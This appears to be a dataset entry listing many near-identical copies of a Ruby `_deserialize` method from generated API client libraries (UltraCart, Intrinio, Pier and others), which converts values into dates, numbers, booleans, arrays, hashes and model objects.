"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = UltracartClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n DearInventoryRuby.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Mooncard.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Aimastering.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Harbor1Client.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
